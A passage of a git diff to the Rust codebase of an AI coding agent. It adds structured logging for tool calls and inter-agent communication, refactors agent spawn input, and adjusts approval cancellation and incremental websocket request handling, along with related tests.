new_without_managed_config(codex_home: &Path) -> anyhow::Result { Self::new_with_env(codex_home, &[(DISABLE_MANAGED_CONFIG_ENV_VAR, Some("1"))]).await } @@ -322,10 +373,13 @@ impl TestAppServer { // Forward child's stderr to our stderr so failures are visible even // when stdout/stderr are captured by the test harness. + let json_logs = JsonLogCapture::default(); if let Some(stderr) = process.stderr.take() { + let json_logs = json_logs.clone(); let mut stderr_reader = BufReader::new(stderr).lines(); tokio::spawn(async move { while let Ok(Some(line)) = stderr_reader.next_line().await { + json_logs.record(line.clone()); eprintln!("[mcp stderr] {line}"); } }); @@ -337,6 +391,7 @@ impl TestAppServer { stdout, pending_messages: VecDeque::new(), auto_env: None, + json_logs, }) } diff --git a/codex-rs/app-server/tests/suite/logging.rs b/codex-rs/app-server/tests/suite/logging.rs index ea2c31a766..8d39a485d1 100644 --- a/codex-rs/app-server/tests/suite/logging.rs +++ b/codex-rs/app-server/tests/suite/logging.rs @@ -1,8 +1,30 @@ +use anyhow::Context; use anyhow::Result; +use app_test_support::TestAppServer; use app_test_support::app_server_json_shutdown_event; +use app_test_support::create_exec_command_sse_response; +use app_test_support::create_final_assistant_message_sse_response; +use app_test_support::create_mock_responses_server_sequence; +use app_test_support::to_response; +use app_test_support::write_mock_responses_config_toml; +use codex_app_server_protocol::JSONRPCResponse; +use codex_app_server_protocol::RequestId; +use codex_app_server_protocol::ThreadStartParams; +use codex_app_server_protocol::ThreadStartResponse; +use codex_app_server_protocol::TurnStartParams; +use codex_app_server_protocol::TurnStartResponse; +use codex_app_server_protocol::UserInput; +use codex_features::Feature; +use core_test_support::skip_if_no_network; use pretty_assertions::assert_eq; +use serde_json::Value; use serde_json::json; +use std::collections::BTreeMap; use tempfile::TempDir; +use tokio::time::Duration; +use tokio::time::timeout; + +const READ_TIMEOUT: Duration = Duration::from_secs(10); #[test] fn standalone_app_server_emits_json_info_events() -> Result<()> { @@ -25,3 +47,126 @@ fn standalone_app_server_emits_json_info_events() -> Result<()> { Ok(()) } + +#[tokio::test] +async fn app_server_emits_structured_tool_call_timing_event() -> Result<()> { + skip_if_no_network!(Ok(())); + + let server = create_mock_responses_server_sequence(vec![ + create_exec_command_sse_response("exec-call-1")?, + create_final_assistant_message_sse_response("done")?, + ]) + .await; + let codex_home = TempDir::new()?; + write_mock_responses_config_toml( + codex_home.path(), + &server.uri(), + &BTreeMap::from([(Feature::UnifiedExec, true)]), + /*auto_compact_limit*/ 100_000, + /*requires_openai_auth*/ None, + "mock_provider", + "compact", + )?; + + let mut app_server = TestAppServer::new_with_auto_env_and_json_logging( + codex_home.path(), + "warn,codex_core::tools::parallel=info", + ) + .await?; + timeout(READ_TIMEOUT, app_server.initialize()).await??; + + let thread_start_id = app_server + .send_thread_start_request_with_auto_env(ThreadStartParams { + model: Some("mock-model".to_string()), + ..Default::default() + }) + .await?; + let thread_start_response: JSONRPCResponse = timeout( + READ_TIMEOUT, + app_server.read_stream_until_response_message(RequestId::Integer(thread_start_id)), + ) + .await??; + let ThreadStartResponse { thread, .. } = to_response(thread_start_response)?; + + let turn_start_id = app_server + .send_turn_start_request(TurnStartParams { + thread_id: thread.id.clone(), + input: vec![UserInput::Text { + text: "run a command".to_string(), + text_elements: Vec::new(), + }], + ..Default::default() + }) + .await?; + let turn_start_response: JSONRPCResponse = timeout( + READ_TIMEOUT, + app_server.read_stream_until_response_message(RequestId::Integer(turn_start_id)), + ) + .await??; + let TurnStartResponse { turn } = to_response(turn_start_response)?; + + timeout( + READ_TIMEOUT, + app_server.read_stream_until_notification_message("turn/completed"), + ) + .await??; + + let mut tool_call = app_server + .wait_for_json_log_event("codex.tool_call") + .await?; + let tool_call_object = tool_call + .as_object_mut() + .context("tool call log event must be an object")?; + // JsonLogCapture already validates the timestamp as RFC 3339. + tool_call_object + .remove("timestamp") + .context("tool call log event must include a timestamp")?; + let fields = tool_call_object + .get_mut("fields") + .and_then(Value::as_object_mut) + .context("tool call log event fields must be an object")?; + let trace_id = fields + .remove("trace_id") + .context("tool call log event must include trace_id")?; + anyhow::ensure!(trace_id.is_string(), "trace_id must be a string"); + let dispatch_duration_ms = fields + .remove("dispatch_duration_ms") + .and_then(|duration| duration.as_u64()) + .context("dispatch_duration_ms must be a nonnegative integer")?; + let handler_duration_ms = fields + .remove("handler_duration_ms") + .and_then(|duration| duration.as_u64()) + .context("handler_duration_ms must be a nonnegative integer")?; + let total_duration_ms = fields + .remove("total_duration_ms") + .and_then(|duration| duration.as_u64()) + .context("total_duration_ms must be a nonnegative integer")?; + let accounted_duration_ms = dispatch_duration_ms + .checked_add(handler_duration_ms) + .context("dispatch and handler durations must not overflow")?; + anyhow::ensure!( + total_duration_ms >= accounted_duration_ms + && total_duration_ms - accounted_duration_ms <= 1, + "dispatch and handler durations must account for total duration within integer truncation" + ); + + assert_eq!( + tool_call, + json!({ + "level": "INFO", + "fields": { + "message": "tool call completed", + "event.name": "codex.tool_call", + "conversation.id": thread.id, + "turn_id": turn.id, + "tool_name": "exec_command", + "call_id": "exec-call-1", + "tool_source": "direct", + "execution_started": true, + }, + "target": "codex_core::tools::parallel", + }) + ); + + Ok(()) +} diff --git a/codex-rs/app-server/tests/suite/v2/turn_start_zsh_fork.rs b/codex-rs/app-server/tests/suite/v2/turn_start_zsh_fork.rs index c6f8f0e198..1644f9c1d3 100644 --- a/codex-rs/app-server/tests/suite/v2/turn_start_zsh_fork.rs +++ b/codex-rs/app-server/tests/suite/v2/turn_start_zsh_fork.rs @@ -15,6 +15,7 @@ use app_test_support::create_shell_command_sse_response; use app_test_support::to_response; use codex_app_server_protocol::CommandAction; use codex_app_server_protocol::CommandExecutionApprovalDecision; +use codex_app_server_protocol::CommandExecutionApprovalPurpose; use codex_app_server_protocol::CommandExecutionRequestApprovalResponse; use codex_app_server_protocol::CommandExecutionStatus; use codex_app_server_protocol::ItemCompletedNotification; @@ -595,6 +596,10 @@ async fn turn_start_shell_zsh_fork_subcommand_decline_marks_parent_declined_v2() (has_first_file != has_second_file) && (has_rm_action || mentions_rm_binary); if is_target_subcommand { + assert_eq!( + params.approval_purpose, + Some(CommandExecutionApprovalPurpose::Execve) + ); approved_subcommand_ids.push( params .approval_id @@ -640,6 +645,27 @@ async fn turn_start_shell_zsh_fork_subcommand_decline_marks_parent_declined_v2() assert_eq!(approved_subcommand_strings.len(), 2); assert!(approved_subcommand_strings[0].contains(&first_file.display().to_string())); assert!(approved_subcommand_strings[1].contains(&second_file.display().to_string())); + let parent_started_metadata = timeout(DEFAULT_READ_TIMEOUT, async { + loop { + let started_notif = mcp + .read_stream_until_notification_message("item/started") + .await?; + let started: ItemStartedNotification = + serde_json::from_value(started_notif.params.expect("item/started params"))?; + if let ThreadItem::CommandExecution { + id, + command, + cwd, + command_actions, + .. + } = started.item + && id == "call-zsh-fork-subcommand-decline" + { + return Ok::<_, anyhow::Error>((command, cwd, command_actions)); + } + } + }) + .await??; let parent_completed_command_execution = timeout(DEFAULT_READ_TIMEOUT, async { loop { let completed_notif = mcp @@ -664,6 +690,9 @@ async fn turn_start_shell_zsh_fork_subcommand_decline_marks_parent_declined_v2() Ok(Ok(parent_completed_command_execution)) => { let ThreadItem::CommandExecution { id, + command, + cwd, + command_actions, status, aggregated_output, .. @@ -673,6 +702,11 @@ async fn turn_start_shell_zsh_fork_subcommand_decline_marks_parent_declined_v2() }; assert_eq!(id, "call-zsh-fork-subcommand-decline"); assert_eq!(status, CommandExecutionStatus::Declined); + assert_eq!( + (command, cwd, command_actions), + parent_started_metadata, + "parent completion metadata was replaced by a child callback" + ); if let Some(output) = aggregated_output.as_deref() { assert!( output == "exec command rejected by user" diff --git a/codex-rs/codex-api/src/endpoint/responses_websocket.rs b/codex-rs/codex-api/src/endpoint/responses_websocket.rs index 755228a9f5..df41608184 100644 --- a/codex-rs/codex-api/src/endpoint/responses_websocket.rs +++ b/codex-rs/codex-api/src/endpoint/responses_websocket.rs @@ -43,7 +43,6 @@ use tracing::debug; use tracing::error; use tracing::info; use tracing::instrument; -use tracing::trace; use tungstenite::extensions::ExtensionsConfig; use tungstenite::extensions::compression::deflate::DeflateConfig; use tungstenite::protocol::WebSocketConfig; @@ -782,8 +781,6 @@ async fn send_websocket_request( telemetry: Option<&Arc>, connection_reused: bool, ) -> Result<(), ApiError> { - trace!("websocket request: {request_text}"); - let request_start = Instant::now(); let result = tokio::time::timeout( idle_timeout, diff --git a/codex-rs/core/config.schema.json b/codex-rs/core/config.schema.json index ab787ba34f..876180dd7e 100644 --- a/codex-rs/core/config.schema.json +++ b/codex-rs/core/config.schema.json @@ -1750,6 +1750,9 @@ "minimum": 0.0, "type": "integer" }, + "multi_agent_mode_hint_text": { + "type": "string" + }, "non_code_mode_only": { "type": "boolean" }, diff --git a/codex-rs/core/src/agent/control.rs b/codex-rs/core/src/agent/control.rs index 49bbab0f87..85e54e2fb9 100644 --- a/codex-rs/core/src/agent/control.rs +++ b/codex-rs/core/src/agent/control.rs @@ -4,6 +4,8 @@ use crate::agent::registry::AgentRegistry; use crate::agent::role::DEFAULT_ROLE_NAME; use crate::agent::role::resolve_role_config; use crate::agent::status::is_final; +use crate::agent_communication::AgentCommunicationContext; +use crate::agent_communication::AgentCommunicationKind; use crate::codex_thread::ThreadConfigSnapshot; use crate::config::Config; use crate::config::RolloutBudgetConfig; @@ -139,12 +141,12 @@ impl AgentControl { pub(crate) async fn send_input( &self, agent_id: ThreadId, - initial_operation: Op, + input: Vec, ) -> CodexResult { let state = self.upgrade()?; - self.ensure_execution_capacity_for_op(agent_id, &initial_operation) + self.ensure_execution_capacity_for_turn_start(agent_id, /*starts_turn*/ true) .await?; - self.send_input_after_capacity_check(agent_id, &state, initial_operation) + self.send_input_after_capacity_check(agent_id, &state, input) .await } @@ -152,19 +154,14 @@ impl AgentControl { &self, agent_id: ThreadId, state: &Arc, - initial_operation: Op, + input: Vec, ) -> CodexResult { - let last_task_message = match &initial_operation { - Op::InterAgentCommunication { communication } => { - last_task_message_from_communication(communication) - } - _ => non_empty_task_message(render_input_preview(&initial_operation)), - }; + let last_task_message = non_empty_task_message(render_input_preview(&input)); let result = self .handle_thread_request_result( agent_id, state, - state.send_op(agent_id, initial_operation).await, + state.send_op(agent_id, input.into()).await, ) .await; if result.is_ok() { @@ -182,14 +179,60 @@ impl AgentControl { &self, agent_id: ThreadId, communication: InterAgentCommunication, + agent_communication_context: AgentCommunicationContext, + ) -> CodexResult { + let state = self.upgrade()?; + self.ensure_execution_capacity_for_turn_start(agent_id, communication.trigger_turn) + .await?; + self.send_inter_agent_communication_after_capacity_check( + agent_id, + &state, + communication, + agent_communication_context, + ) + .await + } + + async fn send_inter_agent_communication_after_capacity_check( + &self, + agent_id: ThreadId, + state: &Arc, + communication: InterAgentCommunication, + context: AgentCommunicationContext, + ) -> CodexResult { + self.submit_inter_agent_communication(agent_id, state, communication, context) + .await + } + + async fn submit_inter_agent_communication( + &self, + agent_id: ThreadId, + state: &Arc, + communication: InterAgentCommunication, + context: AgentCommunicationContext, ) -> CodexResult { let last_task_message = last_task_message_from_communication(&communication); - let state = self.upgrade()?; - let op = Op::InterAgentCommunication { communication }; - self.ensure_execution_capacity_for_op(agent_id, &op).await?; + let communication_for_log = + crate::agent_communication::logging_enabled().then(|| communication.clone()); let result = self - .handle_thread_request_result(agent_id, &state, state.send_op(agent_id, op).await) + .handle_thread_request_result( + agent_id, + state, + state + .send_op(agent_id, Op::InterAgentCommunication { communication }) + .await, + ) .await; + if let (Some(communication), Ok(communication_id)) = + (communication_for_log, result.as_ref()) + { + crate::agent_communication::emit_agent_communication_send( + communication_id, + &context, + &communication, + agent_id, + ); + } if result.is_ok() { match last_task_message { Some(last_task_message) => self @@ -480,8 +523,10 @@ impl AgentControl { message, /*trigger_turn*/ false, ); + let context = + AgentCommunicationContext::new(AgentCommunicationKind::Result, child_thread_id); let _ = control - .send_inter_agent_communication(parent_thread_id, communication) + .send_inter_agent_communication(parent_thread_id, communication, context) .await; return; } @@ -706,27 +751,23 @@ fn agent_matches_prefix(agent_path: Option<&AgentPath>, prefix: &AgentPath) -> b }) } -pub(crate) fn render_input_preview(initial_operation: &Op) -> String { - match initial_operation { - Op::UserInput { items, .. } => items - .iter() - .map(|item| match item { - UserInput::Text { text, .. } => text.clone(), - UserInput::Image { .. } => "[image]".to_string(), - UserInput::LocalImage { path, .. } => { - format!("[local_image:{}]", path.display()) - } - UserInput::Skill { name, path, .. } => { - format!("[skill:${name}]({})", path.display()) - } - UserInput::Mention { name, path, .. } => format!("[mention:${name}]({path})"), - _ => "[input]".to_string(), - }) - .collect::>() - .join("\n"), - Op::InterAgentCommunication { communication } => communication.content.clone(), - _ => String::new(), - } +pub(crate) fn render_input_preview(input: &[UserInput]) -> String { + input + .iter() + .map(|item| match item { + UserInput::Text { text, .. } => text.clone(), + UserInput::Image { .. } => "[image]".to_string(), + UserInput::LocalImage { path, .. } => { + format!("[local_image:{}]", path.display()) + } + UserInput::Skill { name, path, .. } => { + format!("[skill:${name}]({})", path.display()) + } + UserInput::Mention { name, path, .. } => format!("[mention:${name}]({path})"), + _ => "[input]".to_string(), + }) + .collect::>() + .join("\n") } fn last_task_message_from_communication(communication: &InterAgentCommunication) -> Option { diff --git a/codex-rs/core/src/agent/control/execution.rs b/codex-rs/core/src/agent/control/execution.rs index 42aaa50e02..d8559c1499 100644 --- a/codex-rs/core/src/agent/control/execution.rs +++ b/codex-rs/core/src/agent/control/execution.rs @@ -32,7 +32,16 @@ impl AgentControl { thread_id: ThreadId, op: &Op, ) -> CodexResult<()> { - if !op_starts_turn(op) { + self.ensure_execution_capacity_for_turn_start(thread_id, op_starts_turn(op)) + .await + } + + pub(super) async fn ensure_execution_capacity_for_turn_start( + &self, + thread_id: ThreadId, + starts_turn: bool, + ) -> CodexResult<()> { + if !starts_turn { return Ok(()); } let state = self.upgrade()?; diff --git a/codex-rs/core/src/agent/control/spawn.rs b/codex-rs/core/src/agent/control/spawn.rs index c4c40577ca..9078434f1f 100644 --- a/codex-rs/core/src/agent/control/spawn.rs +++ b/codex-rs/core/src/agent/control/spawn.rs @@ -9,6 +9,17 @@ struct SpawnAgentThreadInheritance { exec_policy: Option>, } +/// Initial input delivered after a spawned agent acquires execution capacity. +/// +/// V2 communication spawns keep the communication and its context paired so centralized +/// submission and lifecycle logging cannot receive one without the other. Other spawn sources +/// provide user input directly, making an uncontextualized inter-agent communication +/// unrepresentable. +enum SpawnInitialInput { + UserInput(Vec), + InterAgentCommunication(InterAgentCommunication, AgentCommunicationContext), +} + fn default_agent_nickname_list() -> Vec<&'static str> { AGENT_NAMES .lines() @@ -89,12 +100,12 @@ impl AgentControl { pub(crate) async fn spawn_agent( &self, config: Config, - initial_operation: Op, + initial_input: Vec, session_source: Option, ) -> CodexResult { let spawned_agent = Box::pin(self.spawn_agent_internal( config, - initial_operation, + SpawnInitialInput::UserInput(initial_input), session_source, SpawnAgentOptions::default(), )) @@ -106,12 +117,34 @@ impl AgentControl { pub(crate) async fn spawn_agent_with_metadata( &self, config: Config, - initial_operation: Op, + initial_input: Vec, session_source: Option, options: SpawnAgentOptions, // TODO(jif) drop with new fork. ) -> CodexResult { - Box::pin(self.spawn_agent_internal(config, initial_operation, session_source, options)) - .await + Box::pin(self.spawn_agent_internal( + config, + SpawnInitialInput::UserInput(initial_input), + session_source, + options, + )) + .await + } + + pub(crate) async fn spawn_agent_with_communication( + &self, + config: Config, + communication: InterAgentCommunication, + context: AgentCommunicationContext, + session_source: Option, + options: SpawnAgentOptions, + ) -> CodexResult { + Box::pin(self.spawn_agent_internal( + config, + SpawnInitialInput::InterAgentCommunication(communication, context), + session_source, + options, + )) + .await } pub(crate) async fn ensure_v2_agent_loaded( @@ -197,7 +230,7 @@ impl AgentControl { async fn spawn_agent_internal( &self, config: Config, - initial_operation: Op, + initial_input: SpawnInitialInput, session_source: Option, options: SpawnAgentOptions, ) -> CodexResult { @@ -356,8 +389,21 @@ impl AgentControl { ) .await; - self.send_input_after_capacity_check(new_thread.thread_id, &state, initial_operation) - .await?; + match initial_input { + SpawnInitialInput::UserInput(input) => { + self.send_input_after_capacity_check(new_thread.thread_id, &state, input) + .await?; + } + SpawnInitialInput::InterAgentCommunication(communication, context) => { + self.send_inter_agent_communication_after_capacity_check( + new_thread.thread_id, + &state, + communication, + context, + ) + .await?; + } + } if multi_agent_version != MultiAgentVersion::V2 { let child_reference = agent_metadata .agent_path diff --git a/codex-rs/core/src/agent/control_tests.rs b/codex-rs/core/src/agent/control_tests.rs index 9863bfb7e2..4741c3c101 100644 --- a/codex-rs/core/src/agent/control_tests.rs +++ b/codex-rs/core/src/agent/control_tests.rs @@ -3,6 +3,8 @@ use crate::CodexThread; use crate::StateDbHandle; use crate::ThreadManager; use crate::agent::agent_status_from_event; +use crate::agent_communication::AgentCommunicationContext; +use crate::agent_communication::AgentCommunicationKind; use crate::config::AgentRoleConfig; use crate::config::Config; use crate::config::ConfigBuilder; @@ -65,12 +67,11 @@ async fn test_config() -> (TempDir, Config) { test_config_with_cli_overrides(Vec::new()).await } -fn text_input(text: &str) -> Op { +fn text_input(text: &str) -> Vec { vec![UserInput::Text { text: text.to_string(), text_elements: Vec::new(), }] - .into() } fn assistant_message(text: &str, phase: Option) -> ResponseItem { @@ -311,8 +312,7 @@ async fn send_input_errors_when_manager_dropped() { vec![UserInput::Text { text: "hello".to_string(), text_elements: Vec::new(), - }] - .into(), + }], ) .await .expect_err("send_input should fail without a manager"); @@ -423,8 +423,7 @@ async fn send_input_errors_when_thread_missing() { vec![UserInput::Text { text: "hello".to_string(), text_elements: Vec::new(), - }] - .into(), + }], ) .await .expect_err("send_input should fail for missing thread"); @@ -490,8 +489,7 @@ async fn send_input_submits_user_message() { vec![UserInput::Text { text: "hello from tests".to_string(), text_elements: Vec::new(), - }] - .into(), + }], ) .await .expect("send_input should succeed"); @@ -531,7 +529,11 @@ async fn send_inter_agent_communication_without_turn_queues_message_without_trig let submission_id = harness .control - .send_inter_agent_communication(thread_id, communication.clone()) + .send_inter_agent_communication( + thread_id, + communication.clone(), + AgentCommunicationContext::new(AgentCommunicationKind::Message, ThreadId::new()), + ) .await .expect("send_inter_agent_communication should succeed"); assert!(!submission_id.is_empty()); @@ -656,7 +658,11 @@ async fn ensure_v2_agent_loaded_reloads_registered_unloaded_agent() { ); harness .control - .send_inter_agent_communication(spawned_agent.thread_id, communication.clone()) + .send_inter_agent_communication( + spawned_agent.thread_id, + communication.clone(), + AgentCommunicationContext::new(AgentCommunicationKind::Message, ThreadId::new()), + ) .await .expect("send_inter_agent_communication should succeed after reload"); let expected = ( @@ -803,7 +809,11 @@ async fn encrypted_inter_agent_communication_clears_existing_last_task_message() ); harness .control - .send_inter_agent_communication(spawned_agent.thread_id, communication) + .send_inter_agent_communication( + spawned_agent.thread_id, + communication, + AgentCommunicationContext::new(AgentCommunicationKind::Followup, ThreadId::new()), + ) .await .expect("send_inter_agent_communication should succeed"); diff --git a/codex-rs/core/src/agent_communication.rs b/codex-rs/core/src/agent_communication.rs new file mode 100644 index 0000000000..e71f50ad96 --- /dev/null +++ b/codex-rs/core/src/agent_communication.rs @@ -0,0 +1,79 @@ +use codex_protocol::ThreadId; +use codex_protocol::protocol::InterAgentCommunication; + +const AGENT_COMMUNICATION_TARGET: &str = "codex_otel.agent_communication"; + +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +pub(crate) enum AgentCommunicationKind { + Spawn, + Message, + Followup, + Result, +} + +impl AgentCommunicationKind { + fn as_str(self) -> &'static str { + match self { + Self::Spawn => "spawn", + Self::Message => "message", + Self::Followup => "followup", + Self::Result => "result", + } + } +} + +#[derive(Clone, Debug, PartialEq, Eq)] +pub(crate) struct AgentCommunicationContext { + kind: AgentCommunicationKind, + sender_thread_id: ThreadId, +} + +impl AgentCommunicationContext { + pub(crate) fn new(kind: AgentCommunicationKind, sender_thread_id: ThreadId) -> Self { + Self { + kind, + sender_thread_id, + } + } +} + +pub(crate) fn logging_enabled() -> bool { + tracing::enabled!(target: AGENT_COMMUNICATION_TARGET, tracing::Level::INFO) +} + +pub(crate) fn emit_agent_communication_send( + communication_id: &str, + context: &AgentCommunicationContext, + communication: &InterAgentCommunication, + receiver_thread_id: ThreadId, +) { + tracing::info!( + target: AGENT_COMMUNICATION_TARGET, + { + event.name = "codex.agent_communication", + communication_id, + kind = context.kind.as_str(), + state = "send", + sender_thread_id = %context.sender_thread_id, + receiver_thread_id = %receiver_thread_id, + content = if communication.content.is_empty() { + communication.encrypted_content.as_deref().unwrap_or_default() + } else { + communication.content.as_str() + }, + }, + "agent communication" + ); +} + +pub(crate) fn emit_agent_communication_receive(communication_id: &str) { + tracing::info!( + target: AGENT_COMMUNICATION_TARGET, + { + event.name = "codex.agent_communication", + communication_id, + state = "receive", + }, + "agent communication" + ); +} diff --git a/codex-rs/core/src/client.rs b/codex-rs/core/src/client.rs index 48623a00e8..43a758b0e8 100644 --- a/codex-rs/core/src/client.rs +++ b/codex-rs/core/src/client.rs @@ -1123,42 +1123,48 @@ impl ModelClientSession { } } + /// Checks whether the current request is an incremental extension of the previous request. + /// We only reuse an incremental input delta when non-input request fields are unchanged and + /// `input` is a strict extension of the previous known input. Server-returned output items + /// are treated as part of the baseline so we do not resend them. fn get_incremental_items( &self, request: &ResponsesApiRequest, last_response: Option<&LastResponse>, allow_empty_delta: bool, ) -> Option> { - // Checks whether the current request is an incremental extension of the previous request. - // We only reuse an incremental input delta when non-input request fields are unchanged and - // `input` is a strict - // extension of the previous known input. Server-returned output items are treated as part - // of the baseline so we do not resend them. let previous_request = self.websocket_session.last_request.as_ref()?; if !responses_request_properties_match(previous_request, request) { trace!("incremental request failed, websocket reuse properties didn't match"); return None; } - let Some(after_previous_input) = request - .input - .strip_prefix(previous_request.input.as_slice()) - else { - trace!("incremental request failed, items didn't match"); - return None; - }; - let mut response_items = - last_response.map_or_else(Vec::new, |response| response.items_added.clone()); - if !self.client.state.provider.info().is_openai() { - response_items - .iter_mut() - .for_each(ResponseItem::clear_internal_chat_message_metadata_passthrough); + // To compare the inputs, we concatenate the previous request items with the response items, + // then compare that against the equivalent slice of request items, ignoring metadata. If + // they match, we can consider the remaining items the incremental request. + let mut previous_items = previous_request.input.clone(); + if let Some(response) = last_response { + previous_items.extend_from_slice(&response.items_added); } - let Some(incremental_items) = after_previous_input.strip_prefix(response_items.as_slice()) + previous_items + .iter_mut() + .for_each(ResponseItem::clear_internal_chat_message_metadata_passthrough); + + let Some((request_items_to_compare, incremental_items)) = + request.input.split_at_checked(previous_items.len()) else { - trace!("incremental request failed, items didn't match"); + trace!("incremental request failed, incompatible request length"); return None; }; + let mut request_prefix = request_items_to_compare.to_vec(); + request_prefix + .iter_mut() + .for_each(ResponseItem::clear_internal_chat_message_metadata_passthrough); + + if previous_items != request_prefix { + trace!("incremental request failed, items didn't match"); + return None; + } if !allow_empty_delta && incremental_items.is_empty() { return None; } @@ -1912,6 +1918,7 @@ where let mut logged_error = false; let mut tx_last_response = Some(tx_last_response); let mut items_added: Vec = Vec::new(); + let (request_start, mut ttft_ms) = (Instant::now(), None); let mut api_stream = api_stream; let upstream_request_id = upstream_request_id.as_deref(); if let Some(upstream_request_id) = upstream_request_id { @@ -1961,6 +1968,7 @@ where Some(usage.cached_input_tokens), Some(usage.reasoning_output_tokens), usage.total_tokens, + ttft_ms, ); } inference_trace_attempt.record_completed( @@ -1988,6 +1996,11 @@ where } } Ok(event) => { + if matches!(&event, ResponseEvent::OutputItemAdded(_)) && ttft_ms.is_none() { + ttft_ms = Some( + i64::try_from(request_start.elapsed().as_millis()).unwrap_or(i64::MAX), + ); + } if tx_event.send(Ok(event)).await.is_err() { inference_trace_attempt.record_cancelled( STREAM_DROPPED_REASON, diff --git a/codex-rs/core/src/codex_delegate.rs b/codex-rs/core/src/codex_delegate.rs index a671f0dd74..e842481ef8 100644 --- a/codex-rs/core/src/codex_delegate.rs +++ b/codex-rs/core/src/codex_delegate.rs @@ -497,6 +497,7 @@ async fn handle_exec_approval( cancel_token: &CancellationToken, ) { let approval_id_for_op = event.effective_approval_id(); + let approval_purpose = event.approval_purpose; let ExecApprovalRequestEvent { call_id, approval_id, @@ -538,6 +539,7 @@ async fn handle_exec_approval( &approval_id_for_op, cancel_token, Some(&review_cancel), + /*pending_approval_to_cancel*/ None, ) .await } else { @@ -546,6 +548,7 @@ async fn handle_exec_approval( parent_ctx, call_id, approval_id, + approval_purpose, environment_id, command, cwd, @@ -559,6 +562,7 @@ async fn handle_exec_approval( &approval_id_for_op, cancel_token, /*review_cancel_token*/ None, + Some(PendingApprovalToCancel::Exec), ) .await }; @@ -647,6 +651,7 @@ async fn handle_patch_approval( &approval_id, cancel_token, Some(&review_cancel), + /*pending_approval_to_cancel*/ None, ) .await, ) @@ -665,6 +670,7 @@ async fn handle_patch_approval( &approval_id, cancel_token, /*review_cancel_token*/ None, + Some(PendingApprovalToCancel::Patch), ) .await }; @@ -763,6 +769,7 @@ async fn maybe_auto_review_mcp_request_user_input( &event.call_id, cancel_token, Some(&review_cancel), + /*pending_approval_to_cancel*/ None, ) .await; let selected_label = match decision { @@ -884,13 +891,21 @@ where } } -/// Await an approval decision, aborting on cancellation. +#[derive(Clone, Copy, Debug)] +enum PendingApprovalToCancel { + Exec, + Patch, +} + +/// Await an approval decision, aborting any matching parent approval waiter on +/// cancellation. Guardian-only reviews do not create such a waiter. async fn await_approval_with_cancel( fut: F, parent_session: &Session, approval_id: &str, cancel_token: &CancellationToken, review_cancel_token: Option<&CancellationToken>, + pending_approval_to_cancel: Option, ) -> codex_protocol::protocol::ReviewDecision where F: core::future::Future, @@ -901,9 +916,25 @@ where if let Some(review_cancel_token) = review_cancel_token { review_cancel_token.cancel(); } - parent_session - .notify_approval(approval_id, codex_protocol::protocol::ReviewDecision::Abort) - .await; + match pending_approval_to_cancel { + Some(PendingApprovalToCancel::Exec) => { + parent_session + .notify_exec_approval( + approval_id, + codex_protocol::protocol::ReviewDecision::Abort, + ) + .await; + } + Some(PendingApprovalToCancel::Patch) => { + parent_session + .notify_patch_approval( + approval_id, + codex_protocol::protocol::ReviewDecision::Abort, + ) + .await; + } + None => {} + } codex_protocol::protocol::ReviewDecision::Abort } decision = fut => { diff --git a/codex-rs/core/src/codex_delegate_tests.rs b/codex-rs/core/src/codex_delegate_tests.rs index 9513dcc56c..e429f1d6c3 100644 --- a/codex-rs/core/src/codex_delegate_tests.rs +++ b/codex-rs/core/src/codex_delegate_tests.rs @@ -9,6 +9,7 @@ use codex_protocol::models::ResponseItem; use codex_protocol::protocol::AgentStatus; use codex_protocol::protocol::AskForApproval; use codex_protocol::protocol::EventMsg; +use codex_protocol::protocol::ExecApprovalPurpose; use codex_protocol::protocol::ExecApprovalRequestEvent; use codex_protocol::protocol::GuardianAssessmentAction; use codex_protocol::protocol::GuardianAssessmentStatus; @@ -322,6 +323,7 @@ async fn handle_exec_approval_uses_call_id_for_guardian_review_and_approval_id_f ExecApprovalRequestEvent { call_id: "command-item-1".to_string(), approval_id: Some("callback-approval-1".to_string()), + approval_purpose: Some(ExecApprovalPurpose::SandboxRetry), turn_id: "child-turn-1".to_string(), environment_id: Some("remote".to_string()), started_at_ms: 0, @@ -396,6 +398,286 @@ async fn handle_exec_approval_uses_call_id_for_guardian_review_and_approval_id_f ); } +#[tokio::test] +async fn handle_exec_approval_preserves_retry_id_through_non_guardian_parent_round_trip() { + let (parent_session, parent_ctx, rx_events) = + crate::session::tests::make_session_and_context_with_rx().await; + *parent_session.active_turn.lock().await = Some(crate::state::ActiveTurn::default()); + let mut parent_ctx = Arc::try_unwrap(parent_ctx).expect("single turn context ref"); + let mut config = (*parent_ctx.config).clone(); + config.approvals_reviewer = ApprovalsReviewer::User; + parent_ctx.config = Arc::new(config); + let parent_ctx = Arc::new(parent_ctx); + + let (tx_sub, rx_sub) = bounded(SUBMISSION_CHANNEL_CAPACITY); + let (_tx_events, rx_events_child) = bounded(SUBMISSION_CHANNEL_CAPACITY); + let (_agent_status_tx, agent_status) = watch::channel(AgentStatus::PendingInit); + let codex = Arc::new(Codex { + tx_sub, + rx_event: rx_events_child, + agent_status, + session: Arc::clone(&parent_session), + session_loop_termination: completed_session_loop_termination(), + }); + + let cancel_token = CancellationToken::new(); + let handle = tokio::spawn({ + let codex = Arc::clone(&codex); + let parent_session = Arc::clone(&parent_session); + let parent_ctx = Arc::clone(&parent_ctx); + let cancel_token = cancel_token.clone(); + async move { + handle_exec_approval( + codex.as_ref(), + "child-turn-1".to_string(), + &parent_session, + &parent_ctx, + delegated_retry_exec_approval_event(), + &cancel_token, + ) + .await; + } + }); + + let request_event = timeout(Duration::from_secs(1), rx_events.recv()) + .await + .expect("exec approval event timed out") + .expect("exec approval event missing"); + let EventMsg::ExecApprovalRequest(request) = request_event.msg else { + panic!("expected ExecApprovalRequest event"); + }; + assert_eq!(request.call_id, "command-item-1"); + assert_eq!(request.approval_id.as_deref(), Some("retry-id")); + assert_eq!( + request.approval_purpose, + Some(ExecApprovalPurpose::SandboxRetry) + ); + + parent_session + .notify_exec_approval("retry-id", ReviewDecision::Approved) + .await; + + timeout(Duration::from_secs(1), handle) + .await + .expect("handle_exec_approval hung") + .expect("handle_exec_approval join error"); + let submission = timeout(Duration::from_secs(1), rx_sub.recv()) + .await + .expect("exec approval response timed out") + .expect("exec approval response missing"); + assert_eq!( + submission.op, + Op::ExecApproval { + id: "retry-id".to_string(), + turn_id: Some("child-turn-1".to_string()), + decision: ReviewDecision::Approved, + } + ); +} + +#[tokio::test] +async fn delegated_exec_preserves_raw_purpose_and_cancel_cleans_retry_waiter() { + let (parent_session, parent_ctx, rx_events) = + crate::session::tests::make_session_and_context_with_rx().await; + 